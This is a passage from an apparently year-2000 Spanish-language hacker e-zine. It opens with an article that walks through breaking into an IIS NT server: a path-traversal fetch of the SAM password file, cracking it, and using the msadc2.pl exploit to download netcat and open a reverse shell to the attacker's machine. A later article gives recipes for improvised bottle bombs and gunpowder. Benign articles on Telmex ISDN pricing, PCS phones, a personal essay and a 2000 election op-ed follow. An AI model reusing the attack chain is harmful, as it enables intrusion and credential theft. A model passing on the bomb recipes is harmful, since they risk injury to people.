50 bytes from 192.0.0.254: flags=RA seq=1 ttl=41 id=59574 win=32736 rtt=167.3 ms
--- 192.0.0.254 hping statistic ---
2 packets tramitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 167.3/169.8/172.3 ms

Aja ... cerrado (chequen como en flags este recibe (RA) que es Reset/Ack.
Que se manda cuando esta el puerto cerrado (EEerrrmm para mas informacion
sobre banderas chequen TCP/IP Illustrated de Richard Stevens)), okas ahora
vamos a usar hping2 otra vez para poder ver si podemos desenmascarar el
firewall ...

mastah@NOP# hping2 -1 192.0.0.15
eth0 default routing interface selected (according to /proc)
HPING 192.0.0.254 (eth0 192.0.0.254): S set, 40 headers + 0 data bytes
50 bytes from 192.0.0.254(Administrativelly denied): seq=0 ttl=41 id=59571 win=32736 rtt=172.3 ms
50 bytes from 192.0.0.254(Administrativelly denied): seq=1 ttl=41 id=59574 win=32736 rtt=167.3 ms
--- 192.0.0.254 hping statistic ---
2 packets tramitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 167.3/169.8/172.3 ms

Okas ahora sabemos que es un firewall, de aqui podemos ver que tipo de
firewall es? ... errrmmm nop, nos deberia importar si queremos tronarlo?
un poco aunque ya que estemos dentro igual y encontramos los archivos de
configuracion y voila!!!. asi pues vamos aver que ondas con www ....

Para esto vamos a usar nc, (la version de unix y NT funcionan igual), el
cuchillo suizo, se ha hablado mucho de esta herramienta, tiene muchas
funciones la que mas me gusta es que puedes tronar la conexion rapida y
facilmente, esto funciona cuando mandas llamar un cgi que manda 15 minutos
de mierda porque asi es programado .... ^C ^C!!! =) asi pues sigamos:

mastah@NOP#nc -vvn 192.0.0.90 80

HTTP/1.1 404 Object Not Found
Server: Microsoft-IIS/4.0
Date: Thu, 29 Jun 2000 12:07:52 GMT
Content-Type: text/html
Content-Length: 102

NT huh?, okas queremos el archivo sam, podemos usar muchas exploits pero
aqui voy a poner uno que casi no se ha hecho publico y es chido, el bug
del compaq manager. El Compaq Web Manager tiene el bug de no checar .. asi
pues uno se puede escapar de donde esta y poder ver que ondas, okas antes
que eso vamos a ver en que pinche drive estamos no?, usemos idq para eso:

mastah@NOP# nc -vvn 192.0.0.90 80

GET /I_OwN_Ya_BiAtCh.idq HTTP/1.0

The file C:\InetPub\WWWroot\I_OwN_Ya_BiAtCh.idq has not been found on this
server


Okas! estamos en C:\, eso es chido porque a veces es todo un show (tuve un
caso en que estaba en F pero cuando guardaba ago eso se guardaba en D asi
que tuve que hacer dirs en todo el server para ver que ondas).

Okas suficiente esto no es un articulo sobre web hacking, asi pues usamos el
compaq manager, para eso agarremos el explorer (asi es ... el netscape trata
de ver el sam._ y se truena .. el explorer nop, igual podemos usar lynx,
aunque para NT lo mejor para hackear es NT). Okas nos conectamos a
192.0.0.90:2301 y usamos el bug del ..

192.0.0.90:2301/../../../../../../../../../../../winnt/repair/sam._

Guarda el archivo .... usa l0phtcrack para tronar el passwd y ya tienes
administrator en la maquina!, TIEMPO!!!!!!!!!!! puedes conectarte??? esta el
puerto 139 cerrado? el puerto 21?? chingados que mal pedo!!! para que tengo
esta madre???? no me sirve!!! antes de enojarte y borrar todo y patear la
compu veamos algo:

III. BACK CONNECT O SI NO PUEDES CONECTARTE NI PEDO QUE EL SE CONECTE!

Asi es, como ejemplo voy a tomar que el server tiene msadc, lo cual es comun,
asi pues vamos a ejecutar el exploit para el msadc, que que es el msadc? a
viejos eso es web hacking ;-P algo tienen que leer en otros articulos de
s0d/raza no???

Okas todavia estamos en linux o un NT con windump y un server ftp:

mastah@NOP# perl -x msadc2.pl
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c ping 10.0.0.80

Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: d: e: f: g: h:
winnt40 -> c: Success!

Podemos ver en tcpdump que los pings si llegan.

Asi pues nos emocionamos e intentamos la primera gracia, "Back ftp":

mastah@NOP# perl -x msadc2.pl
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c "cd \%SystemRoot\% &&echo USERNAME>tmp&& echo PASSWD>>tmp && echo
bin>>tmp && echo get nc.exe>>tmp && echo bye>>tmp && ftp -s:tmp 10.0.0.80
&& attrib -r nc.exe && nc -e cmd.exe 10.0.0.80 2500"

Esperamos tantito y checamos el xferlog (en /var/log/xferlog) y nada .. ni
madre ... no se conecto ... que paso?!?

Bueno igual y el adminstrador tiene un poco mas de medio cerebro y cerro el
puerto 21 en salida para evitar los hacks de afuera para adentro de back
connect!!, nos chingamos??? .. nop ni poquito!!!

Vamos a rebootear a Wintendo ... regreso!!!! ....

Para eso ya estamos en Wintendo y necesitan tener perl instalado (Active
perl es chido .. lo puedes bajar de la red en www.activestate.com):

c:\0x90_tools\web\msadc> perl -x msadc2.pl
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c net use Z: \\10.0.0.80\D$ NotMyPasswd /user:NOP\administrator

Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: d: e: f: g: h:
winnt40 -> c: Success!

Chequen donde esta el truco, tiene que venir a checar las credenciales a
esta maquina, asi pues debemos de poner que las credenciales son de esta
maquin poniendo el nombre de nuestra maquina ANTES que el usuario en la
opcion /user .... si no ni madres que jala =)

Ahora chequemos si se pudo la gracia:

c:\0x90_tools\web\msadc>perl -x msadc2.pl
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c dir Z:\ > c:\inetpub\iissamples\dir.txt

Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: d: e: f: g: h:
winnt40 -> c: Success!

Ahora chequemos el archivo con tu visor de web favorito:

Hrmmm se parece a tu drive??? chingas!!! SI ES!!!!!!!!!!!

Okas ya estamos dentro ahora que??, bueno baila tantito si quieres,
emocionate, dame las gracias, visita la pagina de s0d y raza, ya??? todavia
no??? nel ni madres yo le sigo sin ti entonces .... ya??? okas ahi va otra
vez.

Lo que hacemos ahora es hacer que la maquina copie el nc.exe a el server y
de ahi pues simplemente conseguir shell!!!:

c:\0x90_tools\web\msadc>perl -x msadc2.pl
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c copy z:\0x90_tools\wintendo\nc.exe c:\nc.exe

Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: d: e: f: g: h:
winnt40 -> c: Success!

Okas checa que lo haya hecho haciendo un dir a C:\ (tu puedes solo ya esta
ahi el ejemplo antes peor con Z:\)

Esta!!, ok ahora que? bueno que tal si pones un nc en modod de escucha en tu
maquina en un puerto alto? los puertos altos generalmente no esta cerrados,
y si estan el puerto 53 o el 110 casi siempre estan abierto aunque yo mejor
sugiero el puerto 8080 ya que a veces esta abierto para proxies =) ...
okas .. aqui vamos.

c:\0x90_tools\wintendo>nc -vvn -l -p 8080
Listening on (Any) on port 8080


Okas ahora mandamos otro cmd exe (no te salgas de ese con ^C lo vas a
necesitar) y manda una conexion de nc a tu maquina al puerto 8080, asi es
todo al reves, ni pedo pero si el firewall no te deja entrar igual y si
deja al server salir (error tipico al hacer las reglas del firewall).

c:\0x90_tools\web\msadc>perl -x msadc2.pl
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c c:\nc.exe -n -e cmd.exe 10.0.0.80 8080

Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: d: e: f: g: h:
winnt40 -> c: Success!

ahora veamos la otra consola:

NERVIOS NERVIOS NERVIOS NERVIOS NERVIOS!!!!!!!

c:\0x90_tools\wintendo>nc -vvn -l -p 8080
Listening on (Any) on port 8080


C:\>

CHINGAS!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Bueno que tal???? les gusto la teinica??? ahora puedes ir a contarle a tus
amigos que s0d owns ya biatch!!!! recuerden tha crew is ahead, tha s0d crew.

Recuerden visiten www.s0d.org y www.raza-mexicana.org seguido para ver mas
articulos y programas ....

nc.exe puede ser encontrado en: www.l0pht.com
msadc2.pl puede ser econtrado en www.wiretrip.com
active perl puede ser encontrado en www.activestate.com

byt3z biatch!!!!!!!!!!!!!!!!

0x90


=============================================================================
--------------------------------------------------------------------------11-
-----( Anarquia: Bombas )----------------------------------------------RM-10]
-----[ psiconauta ]----------------------------------[psiconauta2k@yahoo.com]


Este articulo es parte del documento "Getting r00t 2k" que puede encontrarse
en mi pagina web -> http://psicocity.cjb.net/. Ni el autor ni esta revista se
hacen cargo de las responsabilidad y de los da~os causados con la informacion
aqui expuesta.

COMO CREAR BOMBAS

-----------------------------------
> Polvora 
 Materiales:
 Nitrato de Potasio 
 Carbon Vegetal 
 Azufre 

- Fabricacion:
 6 Partes de Nitrato de Potasio 
 2 Partes de Carbon Vegetal 
 1 Parte de Azufre

-----------------------------------
> Bomba de Carbonato
 Materiales: 
 Botella de Coca-Cola de 2 Litros 
 Carbonato de Calcio 
 Agua 

- Fabricacion:
Pon de 500 a 800ml de agua en la botella y adiciona rapidamente piedritas
de CARBONATO DE CALCIO O CARBURO (es facilmente encontrado en ferreterias
ya que se usa para el gas de la soldadora autogena). La botella rapidamente
explotara dejando salir el gas, pero si se necesita una explosion mejor se
puede colocar a un lado de la botella cerrada una vela o algo que tenga
fuego, entonces cuando se produsca la explocion el gas ardera produciendo
una enorme bola de fuego.

-----------------------------------

> Bomba de Hielo Seco
 Materiales:
 Botella de Coca-Cola de 2 Litros 
 Hielo Seco 
 Agua 

- Fabricacion:
Recomiendo esta bomba ya que es facil conseguir los materiales y es muy
divertida, colocar en la botella de coca cola de 2l bastante hielo seco y
luego a~adir rapidamente agua, obiamente tapar la botella y correr ya que
rapidamente el gas producido por el hielo seco explotara y destruira la
botella. 

-----------------------------------

> Bomba de Cloro
Materiales: 
Botella de Coca-Cola de 2 Litros 
Cloro Granulado 
Alcohol Comun 

- Fabricacion:
Ponga 200ml de alcohol en la botella y luego deposite 150 gramos de cloro,
tape la botella y agitela bien luego corra, la mezcla estallara en 2 o 5
minutos, es recomendada para hacer mucho ruido. 

-----------------------------------

> Bola de Tenis Bomba
 Materiales: 
 Pelotita de Tenis 
 Una mecha de Hilo con Alcohol 
 Muchas Cabecitas de Fosforo 

- Fabricacion:
Hace un peque~o corte en la pelota y llenala con cabezas de fosforo que
puedes cortar con un alicate luego cerra la pelota con cinta adesiva
preferentemente tiene que quedar bien fuerte dejando un ahugero para una
mecha de hilo ba~ado en alcohol de quemar, bueno luego lo unico que tienes
que hacer es prender la mecha esperar a que explote, es divertido pero
tambien te puedes ingeniar para hacerlo con otros objetos como un tubo
de camara de fotos una virome. 

> Bomba de Bicarbonato
 Materiales: 
 1 Tubo de donde vienen los rollos de fotos 
 1 Paquete peque~o de Bicarbonato de Sodio 
 1 Poco de Vinagre Blanco 

-Fabricacion:
Recomiendo esta bomba para hacer cagar a al algun amigo ya que el bicarbonato
se consigue en la farmacia y es de venta al publico si ninguna orden de por
medio. Lo que se debe hacer es poner bicarbonato de sodio en un papel fino
y luego envolverlo, ponerlo en el fondo de tubo de fotos, rapidamente llenar
el tubo con vinagre y cerrarlo, nos dara 1 o 2 minutos para ponerlo en donde
queramos y alejarnos ya que al juntarse el bicarbonato con el vinagre se
forma un gas y una espuma que haran explotar el tubo de fotos.
Es muy divertido pero inofensivo.

=============================================================================
--------------------------------------------------------------------------12-
-----( Prodigy Turbo: Los Costos Escondidos )--------------------------RM-10]
-----[ KUMA ]-------------------------------------------[hackersp@uol.com.mx]

Prodigy Turbo:  Los Costos Escondidos.
Sacado de internet por: KU|V|A

Fuente: E-BASE

En el Distrito Federal ha causado revuelo el lanza miento del servicio de
Telmex denominado Turbo Prodigy, el cual es anunciado como un servicio tipo
ISDN, tecnologia que ha sido utilizada en Estados Unidos desde hace mas de
5 a~os que incorpora los servicios de voz y datos en una sola linea
telefonica. Este es el primer paso de la compa~ia de Carlos Slim para
establecer su estrategia de controlar en nuestro pais los denominados
servicios de banda ancha, que permiten, entre otras cosas, conexiones de
alta velocidad a Internet.

Segun la informacion que proporciona Telmex al respecto del Turbo Prodigy,
se~ala que este tipo de lineas pueden soportar velocidades de 128 kbps en
sus conexiones a Internet, ademas se pueden enviar y recibir llamadas
mientras se esta conectado a la red, todo esto con solo cerca de mil pesos
para cambiar una linea analoga actual por la de Turbo Prodigy, con una
renta mensual un poco arriba de 750 pesos y con derecho a 200 llamadas sin
costo en el plan residencial. Hasta aqui todo pareceria un sue~o que, de
hecho, ha conquistado a una considerable audiencia en la ciudad de Mexico,
en donde la demanda del servicio a una semana de su lanzamiento ha rebasado
todas las expectativas, sin embargo analizando friamente los costos
escondidos- del servicio, la realidad es otra muy distinta.

Vera usted, si bien es cierto que Telmex solo le cobrara por evento ( por
llamada) y que le regala 200 en el plan residencial, el problema es que no
le dicen que cada conexion que haga a Internet a los supuestos 128 kbps.
anuncia dos, le va a generar no una sino, dos llamadas!, ya que el
servicio, que aparte no esverdadero ISDN, se presta mediante 2 lineas
separadas, cada una con una capacidad aproximada de 64 kbps., usandose una
para transmitir datos y la otra para recibir, lo que que hace que no sea
muy exacto eso de los 128 kbps efectivos que anuncia la compa~ia, ya que en
este caso serian 64 kbps full duplex en realidad.

Para ejemplificar esto me remito al chiste del politicoque declara en su
informe de gobierno - se han construido 10,000 kms de carretera, 5,000 de
ida y 5,000 de vuelta-

Volviendo al servicio medido que genera el Turbo prodigy, una vez que usted
genero 2 llamadas con su conexion, si en ese momento recibe una llamada, el
servicio de Internet se baja a 64 kbps, o sea se desconecta uno de los 2
canales para dar entrada a la llamada de voz, pero una vez concluida, al
subir nuevamente la velocidad a 128 kbps, o sea utilizar los 2 canales,
usted genera  otra llamada!, asi por cada vez que reciba llamadas
mientras esta conectado, al terminar esta y volver la velocidad a 128 kps,
se generaran nuevas llamadas, aumentando su servicio medido, esto sin
contar con las llamadas que usted mismo tenga que hacer, en donde el chiste
le sale peor.

A este ritmo de servicio medido, es muy probable que las famosas 200
llamadas no le duren - ni para el arranque- por lo que us ted debera estar
dispuesto a pagar 1.40 por cada llamada adicional en este regimen de
llamadas triples, cuadruples y quintuples por conexion, por lo que las
personas que ahora estan contratando gustosamente este servicio de Telmex,
van a enfrentarse a la -negra- realidad cuando les llegue su recibo
telefonico, el cual debera andar en el rango de los miles de pesos por mes.

Por otro lado, mucho se critica en el medio la velocidad real de este
servicio, ya que aunque la velocidad de conexion entre el cliente y Telmex
sea alta, para todos es sabido el cuello de botella que tiene la compa~ia
en su enlace agregado a Internet, lo que lo hace extremadamente lento usando
acceso telefonico, no digamos ahora que van a incorporar a miles de usuarios
mas pero a 128 kbps.

La cuestion, una vez mas, es que Telmex sigue aprovechandose de enormes
campa~as publicitarias para vender sus servicios de mediocre calidad y
ocultandole importante informacion a sus usuarios.


=============================================================================
--------------------------------------------------------------------------13-
-----( Personal Communications Services )------------------------------RM-10]
-----[ Yo_Soy ]------------------------------------[yo_soy@raza-mexicana.org]


Este documento habla sobre los sistemas PCS o Servicios de Comunicacion
Personal en espa~ol, supongo que has oido Telcel - Digital PCS, pues este
articulo pretende dar una introduccion a este sistema de manera que puedas
entender mas sobre el.

Los sistemas de telefonia movil son en gran parte, comunicaciones via radio,
solo que en rangos de frecuencia mas amplios y por lo tanto, proveen mas
canales para realizar comunicaciones. Los sistemas de telefonia movil
utilizan una red de peque~as estaciones de antenas que proveen cobertura a
ciertas areas geograficas, llamadas celulas (notese que la "celula" no son
las antenas, sino las areas a las cuales dan cobertura), las llamadas de
la celula son manejadas por estaciones base (BS por sus siglas en ingles,
Base Station) o switches moviles (MS - Mobile Switches).

Lo mas importante pude ser que los sistemas PCS comenzaron a ser digitales,
creando una nueva red. PCS comenzo a funcionar en los Estados Unidos a
mediados de 1990 como otra opcion en telefonia movil y posiblemente como una
mejora a la telefonia celular.

PCS se encuentra por arriba de las frecuencias de la telefonia celular
normal (800 Mhz) mayor poder y mayores celulas de menor tama~o, las
frecuencias seran discutidas mas adelante, por lo tanto cuando hablamos de
PCS nos referimos a servicios de frecuancia alta.

El PCS se divide en dos tipos: Narrowband y Broadband.

Narrowband se hace cargo de los datos y Broadband se hace cargo de la voz,
Narrowband utiliza generalmente frecuencias de 900 Mhz para sistemas de
envios de mensajes, mientras que Broadband utiliza frecuencias de 2 Ghz para
transmision de voz, datos y video.

PCS se divide en 5 sistemas principalmente:

           PCS1900             Upbanded GSM cellular
           TIA IS-136          Upbanded TDMA digital cellular
           TIA IS-95           Upbanded CDMA digital cellular
           TIA IS-88           Upbanded NAMPS narrowband analog cellular
           TIA IS-91           Upbanded Plain old analog cellular

Upbanded significa un servicio que opera a una frecuencia mas alta de la que
normalmente lo haria. Como puedes ver son sistemas de radio-celular solo que
en frecuencias mas altas, la diferencia esta en los detalles, pero en si no
es mas que celular radio.  Mas en el proximo numero...


=============================================================================
--------------------------------------------------------------------------14-
-----( Oda a una vida )------------------------------------------------RM-10]
-----[ Fatal ]--------------------------------------[fatal@raza-mexicana.org]


Oda a una vida.

"Quien soy? Para que estoy aqui? Quien me quiere, comprende o me ama? Porque
 sigo con vida? Vale la pena vivir de este modo?"

Esa clase de preguntas siempre deambulan en nuestra mente, cuando tenemos el
rostro apuntando hacia el monitor, la vista fija a la nada aunque podamos
percibir el rapido refresh de 75hz, el quedo silbido del aire siendo
expulsado por el ventilador del CPU, el tiempo exacto que tarda en parpadear
el cursor, oir los ultimos segundos de la cancion numero 214 en nuestro
extenso playlist de miles de mp3's que emite una diadema remachada yaciendo
en nuestro cuello y que la barra de download en progreso del nuevo sistema
operativo que nos dispusimos a bajar cuando aun habia luz natural en este
lado del planeta solo le restan 18 horas mas para terminar... es ahi, cuando
entramos a un estado de total conciencia mental y completa inconsciencia
corporea, nos damos cuenta de cuan denso es el aire que inunda la habitacion
despus de haberse extinguido en el borde de la mesa el dieciochoavo
cigarrillo al cual solo tuvimos tiempo de aspirar 2 bocanadas de el, las
capas de suciedad acumulada en 2 dias de desaseo son una gruesa costra de
suciedad y sudor embarradas en la piel, nuestro suministro de estimulante
legal en una jarra Pirex yace encima de una pila de discos, aun contiene cafe
barato con una dosis de cucharadas que podria considerarse ilegal diluidas en
agua de la llave, suficiente para un ultimo sorbo que podria mantener los
sistemas mas basicos de nuestro organismo activos por un par de horas mas,
vemos con desgano que el unico placer liquido que nos permite alejarnos de la
dulce amargura de la cafeina y la agria y reconfortante sensacion de nicotina
en nuestra boca; la coca, aun tiene - de liquido en el envase de 2 litros,
despues de 1 dia a la intemperie carece de su condicion gaseosa y su sabor
dista mucho de algo placentero, pero en este instante podriamos consumir
petroleo si nos quitara esa sensacion de resequedad buco-faringea, la misma
emocion recorre nuestro cerebro cuando vemos una charola rebosante de comida
fria, magra y llena de pequeos insectos deleitandose del banquete que aun
tratamos de recordar si nos fue llevada por familiar, amigo, enemigo o si
fuimos nosotros los que preparamos ese alimento que solo pudimos disfrutar
1 minuto para despues ser una parte mas de la decoracion de ese espacio de
4.5 x 3 metros al cual solemos llamar habitacion y cuando parece que estamos
a punto de perder la conciencia de nuestro mundo, los sentidos se agudizan y
percibimos con total sentimos el calor entre los dedos indice y medio del
penultimo cigarrillo disponible aun cuando no recordamos el momento en el
que lo encendimos, la pletoria de olores que alcanzamos a olfatear se colocan
en un punto medio entre lo fetido y lo etereo, los 3 inciensos que estan
combustiendose con aroma a bosque poco pueden hacer para disimular tal hedor
con el que aprendimos a vivir, la vista se nubla entre una composta de gases
turbios y polvo, los ojos se entrecierran, tratamos de no ceder al peso de
los parpados, es una tarea facil despues de estar 57 horas sin darle un
descanso a nuestro cuerpo, parece que despues de todo podriamos tomarnos un
minuto para descansar el cuerpo, es una lastima que nuestra mente este
siempre activa, al tener los ojos cerrados rogamos que por obra divina todo
desaparezca de nuestro entorno y de nuestra mente pero ante nuestros ojos
nos deslumbran las respuestas de tales interrogantes que siempre nos
persiguen:

"No soy nadie.  No tengo oficio ni beneficio. No tengo un ser amado al cual
pueda expresarle mi dolor y amor. No tengo vida real. No tengo vida en si..."

Haber llegado a tales conjeturas serian motivo suficiente para que cualquier
persona cuerda se diera un balazo en la cien y asi terminar con ese misero
panorama. Una descarga electrica sale de nuestra espina dorsal y recorre todo
el cuerpo, sin siquiera razonarlo abrimos los ojos, nos levantamos del
asiento, damos una rapida sacudida a la cabeza, nos despojamos de las
ataduras que nos unen a esa masa metalica inerte, salimos despavoridos de la
habitacion evadiendo de 2 saltos la maraa de cables, y porquerias que se
encuentran esparcidas en el piso de la habitacion, de un golpe abrimos la
puerta, volteamos la mirada hacia la izquierda y en milesimas de segundo
corregimos el camino y corremos hacia la derecha sin rumbo fijo, nuestra
mente esta en blanco, vemos siluetas sin volumen, escuchamos ruidos diversos
que se alejan a cada zancada de nuestro andar, la percepcion del tiempo y
espacio es nula, nada existe despues de esa rafaga de impulsos nerviosos,
sentimos una fatiga corporal intensa, los musculos distendidos piden parar
pero nuestra mente no puede dar esa orden por mas que la razon lo pida, de
pronto sentimos otro shock, esta vez directo al cerebro, en vilo detenemos
el paso... recobramos la conciencia, nos damos 10 segundos para parpadear,
respirar 5 veces y tratar de fijar la vista en un lugar. Transcurridos esos
10 segundos las piernas se vencen ante el esfuerzo fisico tan grande, caemos
de espaldas al suelo, nos toma 30 segundos para encontrar una respuesta al
porque corriamos afanosamente, aun no podemos fijar una respuesta, ante
nuestros ojos pasan miles de lineas de codigo, informacion, imagenes,
colores, palabras sin sentido, pero ninguna de ellas puede responder a
nuestra interrogante, este evento solo tomo 3 segundos.
Extendemos las manos para observarlas detenidamente, no nos concentramos en
ver cuan sucias y maltratadas estan, solo vemos la forma de ellas, las
giramos y movemos los dedos para asegurarnos que en verdad son nuestras, se
siente una estela blanca fulgurante ardiendo en nuestros ojos, tratamos de
limpiarlos o de apaciguar tal ardor con nuestras manos, al terminar de
tallar los ojos, la nariz no se puede dar abasto para inhalar y exhalar aire,
mojamos los labios y abrimos la boca de par en par con el unico fin de tomar
una bocanada de aire que nos sabe a vida, una tenue brisa sopla en nuestro
rostro, la sentimos refrescante y pura, los cabellos caen directo en la cara
y se mueven al unisono en un compas en intervalos de 1 segundo. Los
pensamientos se aclaran despues de permanecer unos minutos en el cesped,
cosa que nos sorprende ya que tal travesia nos condujo a un parque publico a
3 kilometros de distancia de nuestro punto de partida, empezamos a sentir el
cuerpo mas ligero y estable, el tacto es mas seguro, el oido ya no
distorsiona el tiempo y sonido que envuelve el jardin, el oxigeno que
respiramos carece de cualidades de algun aroma en particular, es puro y claro
y sentimos que recorre cada molecula de nuestro interior y la vista puede
distinguir con nitidez colores, formas y objetos, nos incorporamos del suelo
y vemos como un grupo reducido de transeuntes nos observa con curiosidad,
parece ser que la escena que protagonizamos les causo un enigma indescifrable,
volteamos la mirada al cielo, aun queda un poco de brisa en el ambiente,
solo podemos cerrar los ojos en un parpadeo lento y dibujar una ligera
sonrisa, la paz y felicidad que invade nuestro ser es gigantesca, tanto como
para reir a carcajadas o ensanchar una sonrisa burlona de oreja a oreja,
pero con una mueca tan falaz solo nos engaariamos, en ese momento de plena
felicidad sentimos que el mundo es vasto, infinito y es solo nuestro.

Si se chutaron toda estas lineas talvez sigan con cara de "juat". Que nos
mantiene vivos despues de toparnos con ese punto sin retorno? El saber lo
que somos, el reconocer quienes somos, la total concordancia del porque
tomamos este camino tan turbio y decadente, el aceptarnos a nosotros y a
nuestra realidad y la sed de conocimientos; motor basico de nuestras vidas.
Este mundo tiene mas pros que contras, uno de ellos es la sociedad, en la
cual descubrimos una cultura propia, una identidad, amistades, enemigos,
vicios y personas con intereses afines.

Esta es la primera parte de muchas vidas por explicar, esta fue una de tantas
historias que vemos a diario en el sub-suelo...


=============================================================================
--------------------------------------------------------------------------15-
-----( Hoy 2 de Julio )------------------------------------------------RM-10]
-----[ Fatal ]--------------------------------------[fatal@raza-mexicana.org]

- Hoy, 2 de Julio es un dia que va a quedar grabado en la historia de nuestro
 pais por muchos factores, gane o pierda cualquier partido, esta sera la
 contienda electoral mas reida y por demas sucia que se haya visto (Las
 otras ocasiones nos haciamos weyes y no lo veiamos o nos hacian weyes para
 no verlo) en la historia del pais, el dia de hoy se sabe quien va a tomar
 las riendas de esta nacion 6 a~s mas, pero antes veamos que nos ha
 apachurrado en los ultimos a~os electorales.

- Lo unico plausible que pudo hacer Zedillo para que no lo vieramos a lo
largo de su mandato como un titere politico, fue darle a la ciudadania el
control del Instituto Federal Electoral atribuyendole cierta independencia
del estado (Claro, le siguen dando cabrocientosmil millones de dolares al
a~o para montar la carpa electoral), Zedillo va a ser reconocido a
rega~adientes por el pueblo al tomar esa decision tardia y el PRI lo va a
recordar como el estupido que le quito las garras del monopolio electoral,
en teoria ya no se pueden hacer fraudes electorales, y si estos se dieran
el IFE estaria como arbitro para descalificar el proceso, pero ni se inmutan
a pesar de las multiples denuncias de fraudes, llenado de urnas, robo de
urnas, acarreo electoral, amenazas y otro tipo de artima~as priistas. Y el
IFE? Bien gracias, aqui nomas mamando varo del gobierno.

- He de confesar que creci con bases panistas y soy Foxista, no tan radical,
pero siendo que los lectores no quieren leer el "YA YA YA" o el "HOY HOY HOY"
de siempre, redactare esto lo mas apartidista que se pueda. El PAN ha sufrido
altibajos a lo largo de 10 a~os, desde que empezo a ganar municipios
prominentes, enclaves politicos, ayuntamientos generadores de gran porcentaje
del PIB, estados como Nuevo Leon, Jalisco y Chihuahua y entre otras cosas
gobernar la tercera parte de la poblacion. Aunque no le ha ido muy bien en
las ultimas contiendas estatales, el estado de Chihuahua regreso a manos
priistas, en Jalisco ha perdido adeptos por gobiernos deficientes, y en
especial el Estado de Mexico, el grupo de Atlacomulco encabezado por los
mayores asaltantes del pais y considerados por el Forbes Underground como
10 de los hombres mas acaudalados del mundo (Pero shhh, se supone que es un
secreto), entre sus filas estan los H. priistas Pichardo, Camacho Quiroz,
Chuayfett, Carlos Hank Gonzalez y familia, etc. Este poderoso estado no entro
a un gobierno de oposicion por muchos factores: Un descarado fraude electoral,
compra de votos en zonas marginadas, la cooperacion de mas de 50 millones de
dolares en campa~a provenientes del antes mencionado grupo para Montiel y
principalmente, la maldita desidia del PRD para aliarse a Duran Reveles, el
margen de victoria del priista fue de 200 mil votos, una verdadera bicoca y
ni modo, como dicen en mi pueblo "Pus ya pa que..." . Vicente Fox ha
encabezado desde hace 3 a~os una campa~a presidencial extenuante, desde su
gobierno en Guanajuato ha propuesto un modelo de economia distinto en el
pais, con tacticas que ya han tenido exito en el extranjero e ideas nuevas.
Pensando friamente tal vez en Guanajuato, un peque~o estado con industria
fuerte, haya funcionado su estratagema, pero si piensa tomar las riendas del
pais va a tener que idear algo proporcional. Fox ha sido una amenaza para
todos, el PRD no quiere perder su papel de segunda fuerza politica y no
quiere que Cardenas se quede sin su oportunidad de intentarlo una vez mas,
pero en el intento se esta llevando a mini-partidos entre las patas, el PRI
no quiere perder, asi de facil, ni la silla presidencial, ni los estados en
disputa, ni su mayoria electoral y en su intento ha logrado confabular
tretas de magnitudes biblicas. Fox es el blanco mas facil de atacar en esta
campa~a, veamoslo en porcentajes; Si Cardenas lo ataca, Fox pierde 2% de
preferencias, 0.5% se va con Cardenas por grillo y 1.5% con Labastida por
despecho. Si Labastida lo ataca, Fox pierde 5% de preferencias, 3.5% se va
con Labastida por grillo y 1.5 con Cardenas por despecho opositor (Porque 5%?
Porque estamos tomando en cuenta los ataques distribuidos de Labas, su equipo
de cerdos, secretarias de estado, Zedillo, senadores, gobernadores, diputados,
candidatos priistas y otros que le rinden culto al Prepucio Milagroso de
Fidel Velazquez). Fox perdio vertiginosamente electores en el famoso "Martes
Negro", una artera e ingeniosa emboscada a cargo de Cardenas y Labastida,
antes de ese dia Fox estaba seguro de si mismo y de que podria ganar, despues
de ese dia tuvo que jugarse cartas vitales para no asustar al electorado y
para repuntar, fue un trabajo colosal tomando en cuenta que absolutamente
todos los medios lo atacaron indiscriminadamente por 1 semana. El panorama
para Fox es este; Si hoy no sale a votar el 70% del electorado, pierde. Si
los millones de mexicanos a los cuales ha convencido no lo apoyan tan
febrilmente como lo expresaron a lo largo de su campa~a, pierde. Si el
pueblo no se quita las laga~as y vota por Fox y le da la espalda al
PRI-Gobierno y al PRD-Anarquia, pierde. Si el PRI no hace un Ultra-Fraude,
descartando por ende un fraude "light", Fox pierde. Dificil panorama, por
mas que me gustaria que los mexicanos nos unieramos y mandaramos a inflar
burros por el pivote al PRI, pues no se puede, siendo realistas creo que
Mexico va a estar estancado hasta el cuello en el pristino manantial de
aguas importadas de Chalco por 6 a~os mas.

Y ahora un mensaje del Tio Fatal para Vicente Fox: Alegrate cabron, si
pierdes al menos le pusiste en evidencia al sistema, muchos miles de
mexicanos aun creemos en que Mexico se merece algo mejor, tal vez no seas
el mejor para ser presidente, pero de algo estoy seguro. Esto no va a durar
mas. EXTRA! Un mensaje del Tio Fatal para los mexiquenses: Pinche bola de
ingratos culeros, hijos de su rebomba y chingada madre. Si para evitarse el
bochorno de mojarse no van a salir a votar como lo hicieron hace un a~o,
avisenme, de buena gana voy de casa en casa a regalarles un chingado plastico
para que no se mojen 10 cabrones minutos y vayan a votar, para mi desgracia
no puedo cumplir cabalmente esa promesa porque me toco ser funcionario de
casilla, sere culero, sadico, degenerado y mercenario, pero soy un ciudadano
responsable... recua de huevones.

- El PRD parece que aun no comprende a ciencia cierta que el cambio real no
se hace postulando a la misma persona en 3 veces, aun cuando Cuahutemoc
Cardenas es un cartucho gastado, debo reconocerlo, la trayectoria del
ingeniero a lo largo de 12 a~os ha sido epica, no tanto porque en '88 fue el
martir favorito de los que fincaron en el sus esperanzas de quitarle el poder
